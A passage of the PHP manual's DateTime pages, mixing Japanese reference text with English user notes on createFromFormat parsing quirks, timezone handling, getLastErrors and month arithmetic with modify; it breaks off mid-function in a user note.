// case 1: 13 as month will be converted to month=01 with Year=Year+1
$oDateTime1 = DateTime::createFromFormat( 'Y-m-d', '2018-13-10');
echo $oDateTime1->format('Y-m-d');
// "2019-01-10"

// case 2: 32 as date will convert date-01 and month=month+1
$oDateTime2= DateTime::createFromFormat( 'Y-m-d', '2018-12-32');
echo $oDateTime2->format('Y-m-d');
// "2019-01-10"

echo phpversion();
// 7.2.7-1+ubuntu16.04.1+deb.sury.org+12019-01-102019-01-01

?>
labs at stronghold dot KILLIT dot media dot eu 12-Apr-2018 04:36
Please note that several points here are wrong.
When using microseconds:

- The createFromFormat DOES NOT accept the ".v" modifier, unlike the formatting ones.

- When you provide microseconds to this function, YOU MUST LEFT PAD THEM to SIX digits with ZEROES.
If you don't, anything below 100000 will be RIGHT PADDED with zeroes.
(So that 999 becomes 9990000, while 1234 becomes 123400. (Also 0510 becomes 051000.)
But at least you can use milliseconds as microseconds. But then again, REMEMBER TO LEFT PAD them to 3 digits if necessary..

- WHAT?? Go provides SEVEN digits of MICROSECONDS?? Something there must definitely be wrong. Micro is, by definition, one millionth, so anything above 999999 is odd.
c dot m dot tatro+php dot net at gmail dot com 06-Apr-2018 05:49
Be aware that using this method when calling an invalid date still generates a date. For instance

DateTime::createFromFormat('Y F j', '2016 February 40');

generates a date like such: 2016-03-11
Salman A 05-Mar-2018 11:32
Seems like setting the hours to any value resets the remaining time portion (minute, second and milliseconds) to zero:

<?php
                                                             // 2018-03-05 16:19:35.000000 <- now
DateTime::createFromFormat("Y-m-d",     "2000-01-01"      ); // 2000-01-01 16:19:35.000000
DateTime::createFromFormat("Y-m-d H",   "2000-01-01 00"   ); // 2000-01-01 00:00:00.000000
DateTime::createFromFormat("Y-m-d H",   "2000-01-01 01"   ); // 2000-01-01 01:00:00.000000
DateTime::createFromFormat("Y-m-d H:i", "2000-01-01 01:30"); // 2000-01-01 01:30:00.000000
?>

This is different from how missing year, month and dates are handled:

<?php
                                                             // 2018-03-05 16:19:35.000000 <- now
DateTime::createFromFormat("Y-m H:i", "2000-01 01:30");      // 2000-01-05 01:30:00.000000
DateTime::createFromFormat("Y-d H:i", "2000-01 01:30");      // 2000-03-01 01:30:00.000000
?>
Fabian 25-Jul-2017 02:11
Parsing RFC3339 strings can be very tricky when their are microseconds in the date string.

Since PHP 7 there is the undocumented constant DateTime::RFC3339_EXTENDED (value: Y-m-d\TH:i:s.vP), which can be used to output an RFC3339 string with microseconds:

<?php
$d = new DateTime();
var_dump($d->format(DateTime::RFC3339_EXTENDED)); // 2017-07-25T13:47:12.000+00:00
?>

But the same constant can't be used for parsing an RFC3339 string with microseconds, instead do:

<?php
$date = DateTime::createFromFormat("Y-m-d\TH:i:s.uP", "2017-07-25T15:25:16.123456+02:00")
?>

But "u" can only parse microseconds up to 6 digits, but some language (like Go) return more than 6 digits for the microseconds, e.g.: "2017-07-25T15:50:42.456430712+02:00" (when turning time.Time to JSON with json.Marshal()). Currently there is no other solution than using a separate parsing library to get correct dates.

Note: the difference between "v" and "u" is just 3 digits vs. 6 digits.
thflori 30-Jan-2017 08:42
createFromFormat('U') has a strange behaviour: it ignores the datetimezone and the resulting DateTime object will always have GMT+0000 timezone.

<?php

$dt = DateTime::createFromFormat('U', time(), new DateTimeZone('CET'));
var_dump($dt->format('Y-m-d H:i:s (T)'), date('Y-m-d H:i:s (T)', time()));

?>

The problem is microtime() and time() returning the timestamp in current timezone.  Instead of using time you can use 'now' but to get a DateTimeObject with microseconds you have to write it this way to be sure to get the correct datetime:

<?php

$dt = \DateTime::createFromFormat('U.u', microtime(true))->setTimezone(new \DateTimeZone(date('T')));

?>
joereynolds952 at gmail dot com 17-Jan-2017 11:11
Just a note that it is possible to call createFromFormat non statically.

<?php
$today = new DateTime();
$today->createFromFormat('Y-m-d', '2016-11-04'));
?>

Is perfectly valid.

We had to do this once we started using PHPMD which would complain about static methods.
vijaycs85 at gmail dot com 16-Dec-2016 12:31
There is no option to specify date format 'c' (e.g. 2004-02-12T15:19:21+00:00) directly. work around is to use Y-m-d\TH:i:sT
rasmus at mindplay dot dk 14-Oct-2016 12:50
Note a weird and surprising inconsistency in `DateTime::createFromFormat()` and `DateTimeImmutable::createFromFormat()` when the format is `"U"` and these factory-functions are called with a Unix timestamp - in this case, the timezone argument is not only ignored (as per the documentation) but also *NOT APPLIED* the constructed object!

In other words, the timezone argument has no effect in this case, at all, which I found pretty surprising. Of course the timezone argument cannot be used in this case to parse the value, since it's a timezone-neutral Unix timestamp, but I was definitely expecting the factory-function to apply the specified timezone to the created object - this is especially surprising when it comes to `DateTimeImmutable`, since this behavior of the factory-function makes it impossible to create an instance from a timestamp and initialize the timezone with a single call; you will need a subsequent call to `setTimezone()` discarding the original object.

Very strange and confusing design :-*
lsloan-php dot net at umich dot edu 20-May-2016 07:37
Reportedly, microtime() may return a timestamp number without a fractional part if the microseconds are exactly zero.  I.e., "1463772747" instead of the expected "1463772747.000000".  number_format() can create a correct string representation of the microsecond timestamp every time, which can be useful for creating DateTime objects when used with DateTime::createFromFormat():

<?php
$now = DateTime::createFromFormat('U.u', number_format(microtime(true), 6, '.', ''));
var_dump($now->format('Y-m-d H:i:s.u')); // E.g., string(26) "2016-05-20 19:36:26.900794"
tuxedobob 21-Apr-2016 07:06
If you're here because you're trying to create a date from a week number, you want to be using setISODate, as I discovered here:

http://www.lornajane.net/posts/2011/getting-dates-from-week-numbers-in-php
Albie at aveit dot org 22-Nov-2015 06:58
If you want to safely compare equality of a DateTime object without explicitly providing the time portion make use of the ! format character.

<?php
$date1 = DateTime::createFromFormat('!Y-m-d', '2012-10-17');
sleep(2);
$date2 = DateTime::createFromFormat('!Y-m-d', '2012-10-17');
/*
 $date1 and $date2 will both be set to a timestamp of "2012-10-17 00:00:00"
 var_dump($date1 == $date2); //will be true
 var_dump($date1 > $date2); //will be false
 var_dump($date1 < $date2); //will be false
*/
?>

If you omit the ! format character without explicitly providing the time portion your timestamp which will include the current system time in the stamp.

<?php
$date1 = DateTime::createFromFormat('Y-m-d', '2012-10-17');
sleep(2);
$date2 = DateTime::createFromFormat('Y-m-d', '2012-10-17');
var_dump($date1 == $date2); //will be false
var_dump($date1 >= $date2); //will be false
var_dump($date1 < $date2); //will be true
?>
chernomyrdin at gmail dot com 19-Nov-2015 11:39
<?php
$date = DateTime::createFromFormat('U.u', microtime(TRUE));
var_dump($date->format('Y-m-d H:i:s.u'));
?>
will print: 2015-11-19 11:37:29.125300 (the current time with microseconds)
jplevene 12-Jun-2015 03:09
To convert an email header date use the following (important, notice the * at the end)

$date = DateTime::createFromFormat('D, d M Y H:i:s O *', $email_date);

Some dates in email headers can be formatted as:
Fri, 12 Jun 2015 13:53:37 +0000 (UTC)

The "(UTC)" at the end of the date causes an error and will return a result of false unless the * is at the end.
SeliusX 30-Jan-2015 02:37
Creating timestamps to the day can result in hidden bugs cause hours are taken from now:

Example:
$newDateTime = DateTime::createFromFormat('Y-m-d', '2014-12-10');
$newDateTime->format('H') != '00';

Better use time too or erase the values later on:
$newDateTime = DateTime::createFromFormat('Y-m-d h:i', '2014-12-10 00:00');
or:
$newDateTime = DateTime::createFromFormat(''Y-m-d', '2014-12-10');
$newDateTime->setTime(0, 0);
ELPI 31-Oct-2014 10:04
It can be confusing creating new DateTime from timestamp when your default timezone (date.timezone) is different from UTC and you are used to date()-function.

date()-function automatically uses your current timezone setting but DateTime::createFromFormat (or DateTime constructor) does not (it ignores tz-parameter).

You can get same results as date() by setting the timezone after object creation.

<?php
$ts = 1414706400;
$date1 = date("Y-m-d H:i", $ts);
$date2 = DateTime::createFromFormat("U", $ts)->setTimeZone(new DateTimeZone(date_default_timezone_get()))->format("Y-m-d H:i");
//$date1===$date2
?>
nicodoggie at gmail dot com 25-Jun-2014 01:20
I've found that on PHP 5.5.13 (not sure if it happens on other versions) if you enter a month larger than 12 on a format that takes numeric months, the result will be a DateTime object with its month equal to the number modulo 12 instead of returning false.

<?php
var_dump(DateTime::createFromFormat('Y-m-d', '2013-22-01'));
?>

results in:
class DateTime#4 (3) {
  public $date =>
  string(19) "2014-10-01 13:05:05"
  public $timezone_type =>
  int(3)
  public $timezone =>
  string(3) "UTC"
}
d dot shankarnarayana at gmail dot com 24-Mar-2014 06:46
Say if there is a string with  $date = "today is 2014 January 1";   and you need to extract "2014 January" using DateTime::createFromFormat().  As you can see in the string there is something odd like "today is" .Since that string (today is) does not correspond to a date format, we need to escape that.

In this case, each and every character on that string has to be escaped as shown below.

The code.

<?php
$paragraph = "today is 2014 January 1";
$date = DateTime::createFromFormat('\t\o\d\a\y \i\s Y F j', $paragraph);
echo $date->format('Y F'); //"prints" 2014 January

- Shankar Damodaran
mail at marcel-juenemann dot de 17-Jan-2013 05:24
Note that the U option does not support negative timestamps (before 1970). You have to use date for that.
falundir at gmail dot com 17-Oct-2012 12:03
Be warned that DateTime object created without explicitely providing the time portion will have the current time set instead of 00:00:00.

<?php
$date = DateTime::createFromFormat('Y-m-d', '2012-10-17');
var_dump($date->format('Y-m-d H:i:s')); //will print 2012-10-17 13:57:34 (the current time)
?>

That's also why you can't safely compare equality of such DateTime objects:

<?php
$date1 = DateTime::createFromFormat('Y-m-d', '2012-10-17');
sleep(2);
$date2 = DateTime::createFromFormat('Y-m-d', '2012-10-17');
var_dump($date1 == $date2); //will be false
var_dump($date1 >= $date2); //will be false
var_dump($date1 < $date2); //will be true
?>
thomas dot ribiere at allgoob dot com 30-Aug-2012 03:46
Not a bug, but a strange issue today 2012-08-30 :

<?php
$date = "2011-02";
echo $date."\n";
$d = DateTime::createFromFormat("Y-m",$date);
echo $d->format("Y-m");
?>
will display :
2011-02
2011-03

It's because there is no 2011-02-30, so datetime will take march insteed of february ...

To fix it :
<?php
$date = "2011-02";
echo $date."\n";
$d = DateTime::createFromFormat("Y-m-d",$date."-01");
echo $d->format("Y-m");
?>
kamil dot wegrzynowicz at baobaz dot com 10-Feb-2012 08:05
It seems that a pipe ('|') option in formating string works only with PHP version 5.3.7 and newer. We had an issue with it on versions 5.3.2, 5.3.3, 5.3.6. Yet it was fine with 5.3.8 and 5.3.10.

By short example:
<?php
$timezone = new DateTimeZone('UTC');
$dateTime = DateTime::createFromFormat('dmY|', '01011972', $timezone);
//$dateTime is FALSE in PHP v <5.3.8
?>

Instead we used a workaround:
<?php
$dateTime = DateTime::createFromFormat('dmY', '01011972', $timezone);
$dateTime->format('Y-m-d 00:00:00');
?>
which works fine.

====

Modified by admin to correct for version (5.3.7 not 5.3.8)
Aurelien Marchand 29-Mar-2011 07:13
Beware specifying a timezone in the format as it will take precedence over the DateTimeZone object.

<?php
$timezone = "UTC"; // or any other valid name for a timezone
$d= DateTime::createFromFormat("Y-m-d H:i:s T","2011-11-06 00:00:00 EDT",new DateTimeZone($timezone));
echo $d->format("Y-m-d H:i:s T - U");
// returns "2011-11-06 00:00:00 EDT - 1320552000"
// specifying $timezone = "Pacific/Honolulu"; would return the same string
?>

This gets hairy when you are playing with transition from summer time to winter time! For instance, in Toronto, the time change happens on 2011-11-06. One second after 01:59:59 (EDT), the time becomes 01:00:00 (EST), or 1320559200 in Unix timestamp.

However, notice the following:
<?php
$d = DateTime::createFromFormat("Y-m-d H:i:s","2011-11-06 01:00:00",new DateTimeZone("EST"));
echo $d->format("Y-m-d H:i:s T U");
// returns "2011-11-06 01:00:00 EDT 1320555600" instead of "2011-11-06 01:00:00 EST 1320559200"

// so the correct way is to do:
$d = DateTime::createFromFormat("Y-m-d H:i:s T","2011-11-06 01:00:00 EST",new DateTimeZone($timezone)); // set $timezone to any valid string for DateTimeZone, it doesn't matter
echo $d->format("Y-m-d H:i:s T U");
// returns "2011-11-06 01:00:00 EST - 1320559200" as wanted

?>
klugg at tlen dot pl 14-Mar-2011 09:52
In order to use a DateTimeZone, don't enter one of the DateTimeZone::Europe, DateTimeZone::Asia etc. constants, but create a DateTimeZone object with verbal timezone name passed as a string:
<?php
$eventDate = DateTime::createFromFormat('m/d/y h:i', '02/26/11 08:00', new DateTimeZone('Europe/Warsaw'));
echo date_format($eventDate, 'Y-m-d'); //prints "2011-02-26"

?>


与えられた DateTimeImmutable オブジェクトをカプセル化した、新しい DateTime オブジェクトを返す

  • ≪ DateTime::createFromFormat
  • DateTime::createFromInterface ≫
  • PHP Manual
  • DateTime
  • 与えられた DateTimeImmutable オブジェクトをカプセル化した、新しい DateTime オブジェクトを返す

DateTime::createFromImmutable

(PHP 7 >= 7.3.0, PHP 8)

DateTime::createFromImmutable — 与えられた DateTimeImmutable オブジェクトをカプセル化した、新しい DateTime オブジェクトを返す

説明

public static DateTime::createFromImmutable ( DateTimeImmutable $object ) : DateTime

パラメータ

object

変更可能なバージョンに変換が必要な、 DateTimeImmutable オブジェクト。 このオブジェクトは変更されませんが、 代わりに同じ日付、時刻、タイムゾーンの情報を含んだ 新しい DateTime オブジェクトが作られます。

例

例1 変更可能な日付オブジェクトを作る

<?php
$date = new DateTimeImmutable("2014-06-20 11:45 Europe/London");

$mutable = DateTime::createFromImmutable( $date );
?>

返り値

新しい DateTime インスタンスを返します。

User Contributed Notes

There are no user contributed notes for this page.


指定された DateTimeInterface オブジェクトをカプセル化した、新しい DateTime オブジェクトを返す

  • ≪ DateTime::createFromImmutable
  • DateTime::getLastErrors ≫
  • PHP Manual
  • DateTime
  • 指定された DateTimeInterface オブジェクトをカプセル化した、新しい DateTime オブジェクトを返す

DateTime::createFromInterface

(PHP 8)

DateTime::createFromInterface — 指定された DateTimeInterface オブジェクトをカプセル化した、新しい DateTime オブジェクトを返す

説明

public static DateTime::createFromInterface ( DateTimeInterface $object ) : DateTime

パラメータ

object

変更可能なバージョンに変換する DateTimeInterface オブジェクト。 このオブジェクトは変更されませんが、 同じ日付、時刻、タイムゾーンの情報が入った新しい DateTime オブジェクトが作成されます。

返り値

新しいDateTime クラスのインスタンスを返します。

例

例1 変更可能な DateTime オブジェクトを作る

<?php
$date = new DateTimeImmutable("2014-06-20 11:45 Europe/London");

$mutable = DateTime::createFromInterface($date);

$date = new DateTime("2014-06-20 11:45 Europe/London");
$also_mutable = DateTime::createFromInterface($date);
?>

User Contributed Notes

There are no user contributed notes for this page.


警告およびエラーを返す

  • ≪ DateTime::createFromInterface
  • DateTime::modify ≫
  • PHP Manual
  • DateTime
  • 警告およびエラーを返す

DateTime::getLastErrors

date_get_last_errors

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

DateTime::getLastErrors -- date_get_last_errors — 警告およびエラーを返す

説明

オブジェクト指向型

public static DateTime::getLastErrors ( ) : array|false

手続き型

date_get_last_errors ( ) : array|false

日付/時刻文字列のパース時に見つかった警告やエラーの配列を返します。

パラメータ

この関数にはパラメータはありません。

返り値

警告やエラーに関する情報を含む配列を返します。 警告やエラーがない場合は false を返します。

例

例1 DateTime::getLastErrors() の例

オブジェクト指向型

<?php
try {
    $date = new DateTime('asdfasdf');
} catch (Exception $e) {
    // 使用例を出したかっただけ...
    print_r(DateTime::getLastErrors());

    // オブジェクト指向流にやるなら、本来は
    // echo $e->getMessage();
}
?>

手続き型

<?php
$date = date_create('asdfasdf');
print_r(DateTime::getLastErrors());
?>

上の例の出力は以下となります。

Array
(
   [warning_count] => 1
   [warnings] => Array
       (
           [6] => Double timezone specification
       )

   [error_count] => 1
   [errors] => Array
       (
           [0] => The timezone could not be found in the database
       )

)

この出力のインデックス 6 と 0 は、エラーが発生した文字列内での文字の位置を表します。

User Contributed Notes

framework at photon-project dot com 28-Feb-2011 12:08
DateTime::createFromFormat is smart to handle the cases where you input an invalid date, like April 31st, and convert it to May 1st. In some cases, you do not want this automatic smart handling of the dates for example in a user input form where you want to be sure that your user did input the date he wanted. To do that, you need to get access to the warnings, this method is the only way to do it:

<?php
$date = DateTime::createFromFormat('Y-m-d', '1999-04-31');
print $date->format('Y-m-d') . PHP_EOL;
print_r(DateTime::getLastErrors());
?>

The output is:

1999-05-01
Array
(
    [warning_count] => 1
    [warnings] => Array
        (
            [10] => The parsed date was invalid
        )

    [error_count] => 0
    [errors] => Array
        (
        )

)

So, here you can see, you have a warning because the date was invalid, but not an error because PHP was smart enough to convert it into a valid date. It is then up to you to do something with this information.


タイムスタンプを変更する

  • ≪ DateTime::getLastErrors
  • DateTime::__set_state ≫
  • PHP Manual
  • DateTime
  • タイムスタンプを変更する

DateTime::modify

date_modify

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DateTime::modify -- date_modify — タイムスタンプを変更する

説明

オブジェクト指向型

public DateTime::modify ( string $modifier ) : DateTime|false

手続き型

date_modify ( DateTime $object , string $modifier ) : DateTime|false

DateTimeImmutable::__construct() 形式で加算あるいは減算することによって DateTime オブジェクトのタイムスタンプを変更します。

パラメータ

object

手続き型のみ: date_create() が返す DateTime オブジェクト。 この関数は、このオブジェクトを変更します。

modifier

日付/時刻 文字列。有効な書式については 日付と時刻の書式 で説明しています。

返り値

メソッドチェインに使う DateTime オブジェクトを返します。失敗した場合に false を返します。

例

例1 DateTime::modify() の例

オブジェクト指向型

<?php
$date = new DateTime('2006-12-12');
$date->modify('+1 day');
echo $date->format('Y-m-d');
?>

手続き型

<?php
$date = date_create('2006-12-12');
date_modify($date, '+1 day');
echo date_format($date, 'Y-m-d');
?>

上の例の出力は以下となります。

2006-12-13

例2 月の加減算には注意

<?php
$date = new DateTime('2000-12-31');

$date->modify('+1 month');
echo $date->format('Y-m-d') . "\n";

$date->modify('+1 month');
echo $date->format('Y-m-d') . "\n";
?>

上の例の出力は以下となります。

2001-01-31
2001-03-03

参考

  • strtotime() - 英文形式の日付を Unix タイムスタンプに変換する
  • DateTime::add() - 年月日時分秒の値を DateTime オブジェクトに加える
  • DateTime::sub() - 年月日時分秒の値を DateTime オブジェクトから引く
  • DateTime::setDate() - 日付を設定する
  • DateTime::setISODate() - ISO 日付を設定する
  • DateTime::setTime() - 時刻を設定する
  • DateTime::setTimestamp() - Unix タイムスタンプを用いて日付と時刻を設定する

User Contributed Notes

sg@rg 31-Mar-2020 12:48
Made a different fixed version using the month not the day

<?php

function modifyMonth(DateTime $date, string $modificator): DateTime {
    $destMonth = $date->format('m') + $date->format('Y') * 12 + ($modificator);
    $date->modify("$modificator months");
    while ($date->format('m') + $date->format('Y') * 12 > $destMonth)
        $date->modify('-1 day');
    return $date;
}
?>

Testing :

<?php
$dates = [
    ['2020/02/29', '+1', '2020/03/29'],
    ['2020/02/29 12:34', '-1', '2020/01/29 12:34'],
    ['2020/03/29 01:01', '+1', '2020/04/29 01:01'],
    ['2020/03/29', '-1', '2020/02/29'],
    ['2020/03/30', '+1', '2020/04/30'],
    ['2020/03/30 23:58', '-1', '2020/02/29 23:58'],
    ['2020/03/31', '+1', '2020/04/30'],
    ['2020/03/31', '-1', '2020/02/29'],
    ['2020/03/31', '+2', '2020/05/31'],
    ['2020/03/31 00:01', '-2', '2020/01/31 00:01'],
    ['2020/03/01', '+1', '2020/04/01'],
    ['2020/03/01', '-1', '2020/02/01'],
    ['2020/02/01', '+1', '2020/03/01'],
    ['2020/02/01', '-1', '2020/01/01'],
    ['2020/04/01', '+1', '2020/05/01'],
    ['2020/04/01 22:22', '-1', '2020/03/01 22:22'],
    ['2020/12/31', '+2', '2021/02/28'],
    ['2020/01/31', '-2', '2019/11/30'],
];

foreach ($dates as $date) {
    $test = new DateTime($date[0]);
    modifyMonth($test, $date[1]);
    if ($test != new DateTime($date[2]))
        echo $date[0] . " " . $date[1] . " != " . $test->format('c') . "\n";
}
?>

Testing prints no error
widowmaker at example dot com 25-Oct-2019 04:27
date_default_timezone_set('Europe/Amsterdam');

$dt = new DateTime('27 October 2019 00:20:00');
print_r($dt);
$dt->modify('600 min');
print_r($dt);

$dt = new DateTime('27 October 2019 00:20:00');
$dt->add(date_interval_create_from_date_string('600 min'));
print_r($dt);

// produces
DateTime Object
(
    [date] => 2019-10-27 00:20:00.000000
    [timezone_type] => 3
    [timezone] => Europe/Amsterdam
)
DateTime Object
(
    [date] => 2019-10-27 10:20:00.000000
    [timezone_type] => 3
    [timezone] => Europe/Amsterdam
)
DateTime Object
(
    [date] => 2019-10-27 09:20:00.000000
    [timezone_type] => 3
    [timezone] => Europe/Amsterdam
)
vittorio dot zamparella at gmail dot com 18-Feb-2019 04:53
@Anonimous
There is no bug. Especially not any retarded one.

<?
function plusOneMonthTests($dateString, $expectation) {
    $date = new DateTime($dateString);
    echo "[".$date->format('Y-m-d')."] +1 month = [".$date->modify('+1 month')->format('Y-m-d')."] $expectation \n";
}
plusOneMonthTests('2001-01-01', 'as expected');
plusOneMonthTests('2001-01-27', 'as expected');
plusOneMonthTests('2001-01-28', 'as expected');
plusOneMonthTests('2001-01-29', 'what would you expect?');
plusOneMonthTests('2001-01-30', 'what would you expect?');
plusOneMonthTests('2001-01-31', 'what would you expect?');
?>
Result:
[2001-01-01] +1 month = [2001-02-01] as expected
[2001-01-27] +1 month = [2001-02-27] as expected
[2001-01-28] +1 month = [2001-02-28] as expected
[2001-01-29] +1 month = [2001-03-01] what would you expect? 29 of february??
[2001-01-30] +1 month = [2001-03-02] what would you expect? or 30 of february?
[2001-01-31] +1 month = [2001-03-03] what would you expect?

As with any tool you need to know how to use it.

I think most people are looking for "the same day of the next month" (or any other number or months).

The calendar is twisted, don't blame the library.
ilyaplot at gmail dot com 15-Dec-2017 10:05
function subMonths(\Datetime $dateTime, int $months)
{
    if ($invert = $months < 0) {
        $months *= -1;
    }

    for ($i=0; $i<$months; $i++) {
        $daysOfMonth = cal_days_in_month(CAL_GREGORIAN, $dateTime->format('m'), $dateTime->format('Y'));
        $dateTime->modify(($invert ? '-' : '+') . $daysOfMonth . ' day');
    }
    return $dateTime;
}

$dateTime = new \DateTime('2004-12-31');

echo $dateTime->modify('-3 month')->format('Y-m-d'); // 2004-10-01

echo subMonths($dateTime, -3)->format('Y-m-d'); // 2004-09-30
mangotonk at gmail dot com 24-Jan-2017 05:55
a slightly more compact way of getting the month shift

<?php

      /**
     * correctly calculates end of months when we shift to a shorter or longer month
     * workaround for http://php.net/manual/en/datetime.add.php#example-2489
     *
     * Makes the assumption that shifting from the 28th Feb +1 month is 31st March
     * Makes the assumption that shifting from the 28th Feb -1 month is 31st Jan
     * Makes the assumption that shifting from the 29,30,31 Jan +1 month is 28th (or 29th) Feb
     *
     *
     * @param DateTime $aDate
     * @param int $months positive or negative
     *
     * @return DateTime new instance - original parameter is unchanged
     */

    function MonthShifter (DateTime $aDate,$months){
        $dateA = clone($aDate);
        $dateB = clone($aDate);
        $plusMonths = clone($dateA->modify($months . ' Month'));
        //check whether reversing the month addition gives us the original day back
        if($dateB != $dateA->modify($months*-1 . ' Month')){
            $result = $plusMonths->modify('last day of last month');
        } elseif($aDate == $dateB->modify('last day of this month')){
            $result =  $plusMonths->modify('last day of this month');
        } else {
            $result = $plusMonths;
        }
        return $result;
    }

//TEST

$x = new DateTime('2017-01-30');
echo( $x->format('Y-m-d')." past end of feb, but not dec<br>");
echo('b ' . MonthShifter($x,1)->format(('Y-m-d'))."<br>");
echo('c ' . MonthShifter($x,-1)->format(('Y-m-d'))."<br>");

$x = new DateTime('2017-01-15');
echo("<br>" . $x->format('Y-m-d')." middle of the month <br>");
echo('d ' . MonthShifter($x,1)->format(('Y-m-d'))."<br>");
echo('e ' . MonthShifter($x,-1)->format(('Y-m-d'))."<br>");

$x = new DateTime('2017-02-28');
echo("<br>" . $x->format('Y-m-d')." end of Feb<br>");
echo('f ' . MonthShifter($x,1)->format(('Y-m-d'))."<br>");
echo('g ' . MonthShifter($x,-1)->format(('Y-m-d'))."<br>");

$x = new DateTime('2017-01-31');
echo("<br>" .  $x->format('Y-m-d')." end of Jan<br>");
echo('h ' . MonthShifter($x,1)->format(('Y-m-d'))."<br>");
echo('i ' . MonthShifter($x,-1)->format(('Y-m-d'))."<br>");

$x = new DateTime('2017-01-31');
echo("<br>" .  $x->format('Y-m-d')." end of Jan +/- 1 years diff, leap year respected<br>");
echo('j ' . MonthShifter($x,13)->format(('Y-m-d'))."<br>");
echo('k ' . MonthShifter($x,-11)->format(('Y-m-d'))."<br>");

//returns

2017-01-30 past end of feb, but not dec
b 2017-02-28
c 2016-12-30

2017-01-15 middle of the month
d 2017-02-15
e 2016-12-15

2017-02-28end of Feb
f 2017-03-31
g 2017-01-31

2017-01-31end of Jan
h 2017-02-28
i 2016-12-31

2017-01-31end of Jan +/- 1 years diff, leap year respected
j 2018-02-28
k 2016-02-29
sinus at sinpi dot net 29-Nov-2016 10:54
A very simple way to ensure we do not cross over month boundaries when adding months is to just go back a few days if the day number got reset:

<?php
function addMonths($date,$months) {
  $orig_day = $date->format("d");
  $date->modify("+".$months." months");
  while ($date->format("d")<$orig_day && $date->format("d")<5) {
    $date->modify("-1 day");
  }
}

for ($i=0;$i<5;$i++) {
  $d = new DateTime("2000-01-10");
  addmonths($d,$i);
  echo $d->format("Y-m-d")."<br>";
}
for ($i=0;$i<5;$i++) {
  $d = new DateTime("2000-01-31");
  addmonths($d,$i);
  echo $d->format("Y-m-d")."<br>";
}
?>

prints:
2000-01-10
2000-02-10
2000-03-10
2000-04-10
2000-05-10
2000-01-31
2000-02-29
2000-03-31
2000-04-30
2000-05-31
www dot wesley at gmail dot com 04-Jul-2015 08:31
This is an improvement of @jenspj's answer

<?php

$d = new DateTime('2007-12-31');

function addMonths($date, $months)
{
    $years = floor(abs($months / 12));
    $leap = 29 <= $date->format('d');
    $m = 12 * (0 <= $months?1:-1);
    for ($a = 1;$a < $years;++$a) {
        $date = addMonths($date, $m);
    }
    $months -= ($a - 1) * $m;

    $init = clone $date;
    if (0 != $months) {
        $modifier = $months . ' months';

        $date->modify($modifier);
        if ($date->format('m') % 12 != (12 + $months + $init->format('m')) % 12) {
            $day = $date->format('d');
            $init->modify("-{$day} days");
        }
        $init->modify($modifier);
    }

    $y = $init->format('Y');
    if ($leap && ($y % 4) == 0 && ($y % 100) != 0 && 28 == $init->format('d')) {
        $init->modify('+1 day');
    }
    return $init;
}

function addYears($date, $years)
{
    return addMonths($date, 12 * $years);
}

echo $d->format('F j,Y') . ' N<br />';
$d = addMonths($d, +1);
echo $d->format('F j,Y') . ' +1M<br />';
$d = addMonths($d, +1);
echo $d->format('F j,Y') . ' +1M<br />';
$d = addYears($d, +60);
echo $d->format('F j,Y') . ' +60Y<br />';
$d = addYears($d, -59);
echo $d->format('F j,Y') . ' -59Y<br />';
66Ton99 13-May-2014 03:31
Extension for DateTime class which solves problem of adding or subtracting months

https://gist.github.com/66Ton99/60571ee49bf1906aaa1c
admin at wmfoi dot com dot br 08-Apr-2014 08:22
The changelog says: "5.3.0 - Changed the return value on success from NULL to DateTime".

That means that you can't do a Fluid Interface design with it in PHP 5.2.

In other words, this will not work in 5.2:

<?php
$DateTime=new DateTime();
echo $DateTime->modify('+1 day')->format('d');
?>
jay dot removethis at grooveshark dot com 29-Oct-2013 05:46
Due to DST and the way DateTime internally handles dates, it's possible to get stuck in a time loop.

For example:

<?php
$dt = new DateTime('2012-03-11 3:00AM');
echo $dt->format('YmdH') . "\n";
$dt->modify("-1 hour");
echo $dt->format('YmdH') . "\n";
$dt->modify("-1 hour");
echo $dt->format('YmdH') . "\n";
?>

prints out:

2012031103
2012031103
2012031103

if your timezone is set to America/New_York.
php at lanar dot com dot au 26-Oct-2013 06:50
modify() ignores any timezone information in the data while the DateTime constructor does not.

$dt = new DateTime( '2013-10-26T11:00:00+11:00' )
will create a +11 timezone while
$dt->modify( '2013-10-26T11:00:00+02:00' )
does not change the timezone or the time.

<?php
$dt = new DateTime( '2013-10-26T15:00:00Australia/Melbourne' ) ;
echo "\n", $dt->format( "c" ) ;
echo "\nTimezone '", $dt->getTimezone()->getName() . "'." ;
// modify $dt to 1 am new york which is 3 pm melbourne
$dt->modify( '2013-10-26T01:00:00America/New_York' ) ;
// result is 1 am melbourne time, not 3 pm
echo "\n", $dt->format( "c" ) ;
echo "\nTimezone '", $dt->getTimezone()->getName() . "'." ;
?>
Output
2013-10-26T15:00:00+11:00
Timezone 'Australia/Melbourne'.
2013-10-26T01:00:00+11:00
Timezone 'Australia/Melbourne'.
Jenny jsimonds@atomic jet packs dot com 15-Apr-2012 09:04
Note: This method modifies the object in-place. So if you want to calculate a new date but assign the new value to a different object, this will NOT work:

<?php
$numMinutes = 25;
$oDateA = new DateTime('2012-01-01 12:00:00');

print "
Original:<br>
oDateA =  {$oDateA->format('Y-m-d H-i-s')}<br>
";

$oDateB = $oDateA->modify ("+{$numMinutes} minutes");

print "
plus {$numMinutes} minutes:<br>
oDateA =  {$oDateA->format('Y-m-d H-i-s')}<br>
oDateB =  {$oDateB->format('Y-m-d H-i-s')}<br>
";
?>
...produces this:
oDateA = 2012-01-01 12-00-00
plus 25 minutes:
oDateA = 2012-01-01 12-25-00
oDateB = 2012-01-01 12-25-00

Use something like this instead:
<?php
$numMinutes = 25;
$oDateA = new DateTime('2012-01-01 12:00:00');

print "
<p>
Original:<br>
oDateA =  {$oDateA->format('Y-m-d H-i-s')}<br>
";

$oDateB = clone $oDateA;
$oDateB->modify ("+{$numMinutes} minutes");

print "
plus {$numMinutes} minutes:<br>
oDateA =  {$oDateA->format('Y-m-d H-i-s')}<br>
oDateB =  {$oDateB->format('Y-m-d H-i-s')}<br>
";
?>

... produces this:
oDateA = 2012-01-01 12-00-00
plus 25 minutes:
oDateA = 2012-01-01 12-00-00
oDateB = 2012-01-01 12-25-00
jenspj at msn dot com 20-Feb-2012 02:34
These functions makes sure that adding months or years always ends up in the month you would expect.  Works for positive and negative values

<?php

    $date=new DateTime();
    $date->setDate(2008,2,29);

    function addMonths($date,$months){

        $init=clone $date;
        $modifier=$months.' months';
        $back_modifier =-$months.' months';

        $date->modify($modifier);
        $back_to_init= clone $date;
